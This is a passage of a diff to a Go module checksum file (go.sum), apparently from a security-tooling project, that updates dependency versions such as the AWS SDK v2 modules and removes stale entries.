h1:AifHbc4mg0x9zW52WOpKbsHaDKuRhlI7TVl47thgQ70= github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.5.0/go.mod h1:T5RfihdXtBDxt1Ch2wobif3TvzTdumDy29kahv6AV9A= github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.3.2 h1:YUUxeiOWgdAQE3pXt2H7QXzZs0q8UBjgRbl56qo8GYM= @@ -92,22 +92,18 @@ github.com/PuerkitoBio/goquery v1.5.1/go.mod h1:GsLWisAFVj4WgDibEWF4pvYnkVQBpKBK github.com/PuerkitoBio/goquery v1.9.2 h1:4/wZksC3KgkQw7SQgkKotmKljk0M6V8TUvA8Wb4yPeE= github.com/PuerkitoBio/goquery v1.9.2/go.mod h1:GHPCaP0ODyyxqcNoFGYlAprUFH81NuRPd0GX3Zu2Mvk= github.com/RumbleDiscovery/rumble-tools v0.0.0-20201105153123-f2adbb3244d2/go.mod h1:jD2+mU+E2SZUuAOHZvZj4xP4frlOo+N/YrXDvASFhkE= -github.com/Shopify/sarama v1.19.0/go.mod h1:FVkBWblsNy7DGZRfXLU0O9RCGt5g3g3yEuWXgklEdEo= -github.com/Shopify/toxiproxy v2.1.4+incompatible/go.mod h1:OXgGpZ6Cli1/URJOF1DMxUHB2q5Ap20/P/eIdh4G0pI= github.com/Ullaakut/nmap/v2 v2.2.2 h1:178Ety3d8T21sF6WZxyj7QVZUhnC1tL1J+tHLLW507Q= github.com/Ullaakut/nmap/v2 v2.2.2/go.mod h1:/6YyiW1Rgn7J6DAWCgL4CZZf6zJCFhB07PQzvjFfzLI= github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow= github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4= -github.com/VividCortex/gohistogram v1.0.0/go.mod h1:Pf5mBqqDxYaXu3hDrrU+w6nw50o/4+TcAqDqk/vUH7g= -github.com/afex/hystrix-go v0.0.0-20180502004556-fa1af6a1f4f5/go.mod h1:SkGFH1ia65gfNATL8TAiHDNxPzPdmEL5uirI2Uyuz6c= github.com/akrylysov/pogreb v0.10.2 h1:e6PxmeyEhWyi2AKOBIJzAEi4HkiC+lKyCocRGlnDi78= github.com/akrylysov/pogreb v0.10.2/go.mod h1:pNs6QmpQ1UlTJKDezuRWmaqkgUE2TuU0YTWyqJZ7+lI= -github.com/alecthomas/assert/v2 v2.6.0 h1:o3WJwILtexrEUk3cUVal3oiQY2tfgr/FHWiz/v2n4FU= -github.com/alecthomas/assert/v2 v2.6.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k= +github.com/alecthomas/assert/v2 v2.7.0 h1:QtqSACNS3tF7oasA8CU6A6sXZSBDqnm7RfpLl9bZqbE= +github.com/alecthomas/assert/v2 v2.7.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k= github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek= github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s= -github.com/alecthomas/chroma/v2 v2.13.0 h1:VP72+99Fb2zEcYM0MeaWJmV+xQvz5v5cxRHd+ooU1lI= -github.com/alecthomas/chroma/v2 v2.13.0/go.mod h1:BUGjjsD+ndS6eX37YgTchSEG+Jg9Jv1GiZs9sqPqztk= +github.com/alecthomas/chroma/v2 v2.14.0 h1:R3+wzpnUArGcQz7fCETQBzO5n9IMNi13iIs46aU4V9E= +github.com/alecthomas/chroma/v2 v2.14.0/go.mod h1:QolEbTfmUHIMVpBqxeDnNBj2uoeI4EbYP4i6n68SG4I= github.com/alecthomas/kingpin/v2 v2.3.1/go.mod h1:oYL5vtsvEHZGHxU7DMp32Dvx+qL+ptGn6lWaot2vCNE= github.com/alecthomas/kingpin/v2 v2.4.0 h1:f48lwail6p8zpO1bC4TxtqACaGqHYA22qkHjHpqDjYY= github.com/alecthomas/kingpin/v2 v2.4.0/go.mod h1:0gyi0zQnjuFk8xrkNKamJoyUo382HRL7ATRpFZCw6tE= @@ -133,63 +129,54 @@ github.com/andygrunwald/go-jira v1.16.0 h1:PU7C7Fkk5L96JvPc6vDVIrd99vdPnYudHu4ju github.com/andygrunwald/go-jira v1.16.0/go.mod h1:UQH4IBVxIYWbgagc0LF/k9FRs9xjIiQ8hIcC6HfLwFU= github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4= -github.com/antchfx/htmlquery v1.3.1 h1:wm0LxjLMsZhRHfQKKZscDf2COyH4vDYA3wyH+qZ+Ylc= -github.com/antchfx/htmlquery v1.3.1/go.mod h1:PTj+f1V2zksPlwNt7uVvZPsxpKNa7mlVliCRxLX6Nx8= -github.com/antchfx/xmlquery v1.4.0 h1:xg2HkfcRK2TeTbdb0m1jxCYnvsPaGY/oeZWTGqX/0hA= -github.com/antchfx/xmlquery v1.4.0/go.mod h1:Ax2aeaeDjfIw3CwXKDQ0GkwZ6QlxoChlIBP+mGnDFjI= -github.com/antchfx/xpath v1.3.0 h1:nTMlzGAK3IJ0bPpME2urTuFL76o4A96iYvoKFHRXJgc= -github.com/antchfx/xpath v1.3.0/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs= +github.com/antchfx/htmlquery v1.3.2 h1:85YdttVkR1rAY+Oiv/nKI4FCimID+NXhDn82kz3mEvs= +github.com/antchfx/htmlquery v1.3.2/go.mod h1:1mbkcEgEarAokJiWhTfr4hR06w/q2ZZjnYLrDt6CTUk= +github.com/antchfx/xmlquery v1.4.1 h1:YgpSwbeWvLp557YFTi8E3z6t6/hYjmFEtiEKbDfEbl0= +github.com/antchfx/xmlquery v1.4.1/go.mod h1:lKezcT8ELGt8kW5L+ckFMTbgdR61/odpPgDv8Gvi1fI= +github.com/antchfx/xpath v1.3.1 h1:PNbFuUqHwWl0xRjvUPjJ95Agbmdj2uzzIwmQKgu4oCk= +github.com/antchfx/xpath v1.3.1/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs= github.com/antlabs/strsim v0.0.3 h1:J9AHxnybJZHKBoxeup1VZNWt3ST8QD+ieDJsm/nEpRo= github.com/antlabs/strsim v0.0.3/go.mod h1:bIcymn+2jtt01korFun0bs8PsYZeQa82aHoYMi7cm30= -github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ= -github.com/apache/thrift v0.13.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ= -github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= -github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= -github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= -github.com/aryann/difflib v0.0.0-20170710044230-e206f873d14a/go.mod h1:DAHtR1m6lCRdSC2Tm3DSWRPvIPr6xNKyeHdqDQSQT+A= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= -github.com/aws/aws-lambda-go v1.13.3/go.mod h1:4UKl9IzQMoD+QF79YdCuzCwp8VbmG4VAQwij/eHl5CU= -github.com/aws/aws-sdk-go v1.27.0/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= -github.com/aws/aws-sdk-go-v2 v0.18.0/go.mod h1:JWVYvqSMppoMJC0x5wdwiImzgXTI9FuZwxzkQq9wy+g= -github.com/aws/aws-sdk-go-v2 v1.26.1 h1:5554eUqIYVWpU0YmeeYZ0wU64H2VLBs8TlhRB2L+EkA= -github.com/aws/aws-sdk-go-v2 v1.26.1/go.mod h1:ffIFB97e2yNsv4aTSGkqtHnppsIJzw7G7BReUZ3jCXM= +github.com/aws/aws-sdk-go-v2 v1.30.0 h1:6qAwtzlfcTtcL8NHtbDQAqgM5s6NDipQTkPxyH/6kAA= +github.com/aws/aws-sdk-go-v2 v1.30.0/go.mod h1:ffIFB97e2yNsv4aTSGkqtHnppsIJzw7G7BReUZ3jCXM= github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.2 h1:x6xsQXGSmW6frevwDA+vi/wqhp1ct18mVXYN08/93to= github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.2/go.mod h1:lPprDr1e6cJdyYeGXnRaJoP4Md+cDBvi2eOj00BlGmg= -github.com/aws/aws-sdk-go-v2/config v1.27.13 h1:WbKW8hOzrWoOA/+35S5okqO/2Ap8hkkFUzoW8Hzq24A= -github.com/aws/aws-sdk-go-v2/config v1.27.13/go.mod h1:XLiyiTMnguytjRER7u5RIkhIqS8Nyz41SwAWb4xEjxs= -github.com/aws/aws-sdk-go-v2/credentials v1.17.13 h1:XDCJDzk/u5cN7Aple7D/MiAhx1Rjo/0nueJ0La8mRuE= -github.com/aws/aws-sdk-go-v2/credentials v1.17.13/go.mod h1:FMNcjQrmuBYvOTZDtOLCIu0esmxjF7RuA/89iSXWzQI= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.1 h1:FVJ0r5XTHSmIHJV6KuDmdYhEpvlHpiSd38RQWhut5J4= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.1/go.mod h1:zusuAeqezXzAB24LGuzuekqMAEgWkVYukBec3kr3jUg= -github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.16.18 h1:fUHit8Pe+2dWEHtxpOVDTOSQR257iH24HjT17DAz6qs= -github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.16.18/go.mod h1:IX1n1o870YYxzqN56w26s7FrO5Zaw/hdatxhJDiEf2U= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.5 h1:aw39xVGeRWlWx9EzGVnhOR4yOjQDHPQ6o6NmBlscyQg= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.5/go.mod h1:FSaRudD0dXiMPK2UjknVwwTYyZMRsHv3TtkabsZih5I= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.5 h1:PG1F3OD1szkuQPzDw3CIQsRIrtTlUC3lP84taWzHlq0= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.5/go.mod h1:jU1li6RFryMz+so64PpKtudI+QzbKoIEivqdf6LNpOc= +github.com/aws/aws-sdk-go-v2/config v1.27.21 h1:yPX3pjGCe2hJsetlmGNB4Mngu7UPmvWPzzWCv1+boeM= +github.com/aws/aws-sdk-go-v2/config v1.27.21/go.mod h1:4XtlEU6DzNai8RMbjSF5MgGZtYvrhBP/aKZcRtZAVdM= +github.com/aws/aws-sdk-go-v2/credentials v1.17.21 h1:pjAqgzfgFhTv5grc7xPHtXCAaMapzmwA7aU+c/SZQGw= +github.com/aws/aws-sdk-go-v2/credentials v1.17.21/go.mod h1:nhK6PtBlfHTUDVmBLr1dg+WHCOCK+1Fu/WQyVHPsgNQ= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.8 h1:FR+oWPFb/8qMVYMWN98bUZAGqPvLHiyqg1wqQGfUAXY= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.8/go.mod h1:EgSKcHiuuakEIxJcKGzVNWh5srVAQ3jKaSrBGRYvM48= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.1 h1:D9VqWMuw7lJAX6d5eINfRQ/PkvtcJAK3Qmd6f6xEeUw= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.17.1/go.mod h1:ckvBx7codI4wzc5inOfDp5ZbK7TjMFa7eXwmLvXQrRk= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.12 h1:SJ04WXGTwnHlWIODtC5kJzKbeuHt+OUNOgKg7nfnUGw= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.12/go.mod h1:FkpvXhA92gb3GE9LD6Og0pHHycTxW7xGpnEh5E7Opwo= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.12 h1:hb5KgeYfObi5MHkSSZMEudnIvX30iB+E21evI4r6BnQ= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.12/go.mod h1:CroKe/eWJdyfy9Vx4rljP5wTUjNJfb+fPz1uMYUhEGM= github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.5 h1:81KE7vaZzrl7yHBYHVEzYB8sypz11NMOZ40YlWvPxsU= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.5/go.mod h1:LIt2rg7Mcgn09Ygbdh/RdIm0rQ+3BNkbP1gyVMFtRK0= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.12 h1:DXFWyt7ymx/l1ygdyTTS0X923e+Q2wXIxConJzrgwc0= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.12/go.mod h1:mVOr/LbvaNySK1/BTy4cBOCjhCNY2raWBwK4v+WR5J4= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.2 h1:Ji0DY1xUsUr3I8cHps0G+XM3WWU16lP6yG8qu1GAZAs= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.2/go.mod h1:5CsjAbs3NlGQyZNFACh+zztPDI7fU6eW9QsxjfnuBKg= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.7 h1:ZMeFZ5yk+Ek+jNr1+uwCd2tG89t6oTS5yVWpa6yy2es= -github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.7/go.mod h1:mxV05U+4JiHqIpGqqYXOHLPKUC6bDXC44bsUhNjOEwY= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.7 h1:ogRAwT1/gxJBcSWDMZlgyFUM962F51A5CRhDLbxLdmo= -github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.7/go.mod h1:YCsIZhXfRPLFFCl5xxY+1T9RKzOKjCut+28JSX2DnAk= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.5 h1:f9RyWNtS8oH7cZlbn+/JNPpjUk5+5fLd5lM9M0i49Ys= -github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.5/go.mod h1:h5CoMZV2VF297/VLhRhO1WF+XYWOzXo+4HsObA4HjBQ= -github.com/aws/aws-sdk-go-v2/service/s3 v1.54.0 h1:Ls94RY3P6HtB88JkzXo1lHrXzonHPpNR//OSAV63mSE= -github.com/aws/aws-sdk-go-v2/service/s3 v1.54.0/go.mod h1:qmdkIIAC+GCLASF7R2whgNrJADz0QZPX+Seiw/i4S3o= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.6 h1:o5cTaeunSpfXiLTIBx5xo2enQmiChtu1IBbzXnfU9Hs= -github.com/aws/aws-sdk-go-v2/service/sso v1.20.6/go.mod h1:qGzynb/msuZIE8I75DVRCUXw3o3ZyBmUvMwQ2t/BrGM= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.24.0 h1:Qe0r0lVURDDeBQJ4yP+BOrJkvkiCo/3FH/t+wY11dmw= -github.com/aws/aws-sdk-go-v2/service/ssooidc v1.24.0/go.mod h1:mUYPBhaF2lGiukDEjJX2BLRRKTmoUSitGDUgM4tRxak= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.7 h1:et3Ta53gotFR4ERLXXHIHl/Uuk1qYpP5uU7cvNql8ns= -github.com/aws/aws-sdk-go-v2/service/sts v1.28.7/go.mod h1:FZf1/nKNEkHdGGJP/cI2MoIMquumuRK6ol3QQJNDxmw= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.14 h1:oWccitSnByVU74rQRHac4gLfDqjB6Z1YQGOY/dXKedI= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.14/go.mod h1:8SaZBlQdCLrc/2U3CEO48rYj9uR8qRsPRkmzwNM52pM= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.14 h1:zSDPny/pVnkqABXYRicYuPf9z2bTqfH13HT3v6UheIk= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.14/go.mod h1:3TTcI5JSzda1nw/pkVC9dhgLre0SNBFj2lYS4GctXKI= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.12 h1:tzha+v1SCEBpXWEuw6B/+jm4h5z8hZbTpXz0zRZqTnw= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.12/go.mod h1:n+nt2qjHGoseWeLHt1vEr6ZRCCxIN2KcNpJxBcYQSwI= +github.com/aws/aws-sdk-go-v2/service/s3 v1.56.1 h1:wsg9Z/vNnCmxWikfGIoOlnExtEU459cR+2d+iDJ8elo= +github.com/aws/aws-sdk-go-v2/service/s3 v1.56.1/go.mod h1:8rDw3mVwmvIWWX/+LWY3PPIMZuwnQdJMCt0iVFVT3qw= +github.com/aws/aws-sdk-go-v2/service/sso v1.21.1 h1:sd0BsnAvLH8gsp2e3cbaIr+9D7T1xugueQ7V/zUAsS4= +github.com/aws/aws-sdk-go-v2/service/sso v1.21.1/go.mod h1:lcQG/MmxydijbeTOp04hIuJwXGWPZGI3bwdFDGRTv14= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.25.1 h1:1uEFNNskK/I1KoZ9Q8wJxMz5V9jyBlsiaNrM7vA3YUQ= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.25.1/go.mod h1:z0P8K+cBIsFXUr5rzo/psUeJ20XjPN0+Nn8067Nd+E4= +github.com/aws/aws-sdk-go-v2/service/sts v1.29.1 h1:myX5CxqXE0QMZNja6FA1/FSE3Vu1rVmeUmpJMMzeZg0= +github.com/aws/aws-sdk-go-v2/service/sts v1.29.1/go.mod h1:N2mQiucsO0VwK9CYuS4/c2n6Smeh1v47Rz3dWCPFLdE= github.com/aws/smithy-go v1.20.2 h1:tbp628ireGtzcHDDmLT/6ADHidqnwgF57XOXZe6tp4Q= github.com/aws/smithy-go v1.20.2/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= @@ -205,7 +192,6 @@ github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZx github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bits-and-blooms/bitset v1.10.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8= github.com/bits-and-blooms/bitset v1.13.0 h1:bAQ9OPNFYbGHV6Nez0tmNI0RiEu7/hxlYJRUA0wFAVE= github.com/bits-and-blooms/bitset v1.13.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8= @@ -220,15 +206,13 @@ github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0 github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs= github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= github.com/bwesterb/go-ristretto v1.2.0/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0= -github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0= -github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= +github.com/bytedance/sonic v1.11.9 h1:LFHENlIY/SLzDWverzdOvgMztTxcfcF+cqNsz9pK5zg= +github.com/bytedance/sonic v1.11.9/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM= github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= github.com/caddyserver/certmagic v0.20.0 h1:bTw7LcEZAh9ucYCRXyCpIrSAGplplI0vGYJ4BpCQ/Fc= github.com/caddyserver/certmagic v0.20.0/go.mod h1:N4sXgpICQUskEWpj7zVzvWD41p3NYacrNoZYiRM2jTg= -github.com/casbin/casbin/v2 v2.1.2/go.mod h1:YcPU1XXisHhLzuxH9coDNf2FbKpjGlbCg3n9yuLkIJQ= github.com/cenkalti/backoff v2.2.1+incompatible h1:tNowT99t7UNflLxfYYSlKYsBpXdEet03Pg2g16Swow4= -github.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM= github.com/cenkalti/backoff/v4 v4.2.1 h1:y4OZtCnogmCPw98Zjyt5a6+QwPLGkiQsYW5oUqylYbM= github.com/cenkalti/backoff/v4 v4.2.1/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= @@ -244,29 +228,25 @@ github.com/charmbracelet/glamour v0.7.0/go.mod h1:jUMh5MeihljJPQbJ/wf4ldw2+yBP59 github.com/cheggaaa/pb/v3 v3.1.5 h1:QuuUzeM2WsAqG2gMqtzaWithDJv0i+i6UlnwSCI4QLk= github.com/cheggaaa/pb/v3 v3.1.5/go.mod h1:CrxkeghYTXi1lQBEI7jSn+3svI3cuc19haAj6jM60XI= github.com/chromedp/cdproto v0.0.0-20240202021202-6d0b6a386732/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs= -github.com/chromedp/cdproto v0.0.0-20240312231614-1e5096e63154 h1:jeAmkzyOAQBPRmZMhX+i/CJv0VViLkHk1nF0qx8s0Mk= -github.com/chromedp/cdproto v0.0.0-20240312231614-1e5096e63154/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs= +github.com/chromedp/cdproto v0.0.0-20240614221651-cc28c8fb63e7 h1:rFnr7xoh4RxLSmRGr1vx5IcA7QTATk1FsmHejakb3N8= +github.com/chromedp/cdproto v0.0.0-20240614221651-cc28c8fb63e7/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs= github.com/chromedp/chromedp v0.9.5 h1:viASzruPJOiThk7c5bueOUY91jGLJVximoEMGoH93rg= github.com/chromedp/chromedp v0.9.5/go.mod h1:D4I2qONslauw/C7INoCir1BJkSwBYMyZgx8X276z3+Y= github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic= github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= -github.com/chzyer/logex v1.2.0/go.mod h1:9+9sk7u7pGNWYMkh0hdiL++6OeibzJccyQU4p4MedaY= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= -github.com/chzyer/readline v1.5.0/go.mod h1:x22KAscuvRqlLoK9CsoYsmxoXZMMFVyOl86cAH8qUic= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= -github.com/chzyer/test v0.0.0-20210722231415-061457976a23/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/clbanning/mxj v1.8.5-0.20200714211355-ff02cfb8ea28 h1:LdXxtjzvZYhhUaonAaAKArG3pyC67kGL3YY+6hGG8G4= github.com/clbanning/mxj v1.8.5-0.20200714211355-ff02cfb8ea28/go.mod h1:BVjHeAH+rl9rs6f+QIpeRl0tfu10SXn1pUSa5PVGJng= github.com/clbanning/mxj/v2 v2.7.0 h1:WA/La7UGCanFe5NpHF0Q3DNtnCsVoxbPKuyBNHWRyME= github.com/clbanning/mxj/v2 v2.7.0/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s= -github.com/clbanning/x2j v0.0.0-20191024224557-825249438eec/go.mod h1:jMjuTZXRI4dUb/I5gc9Hdhagfvm9+RyrPryS/auMzxE= github.com/client9/misspell v0.3.4/go.mod 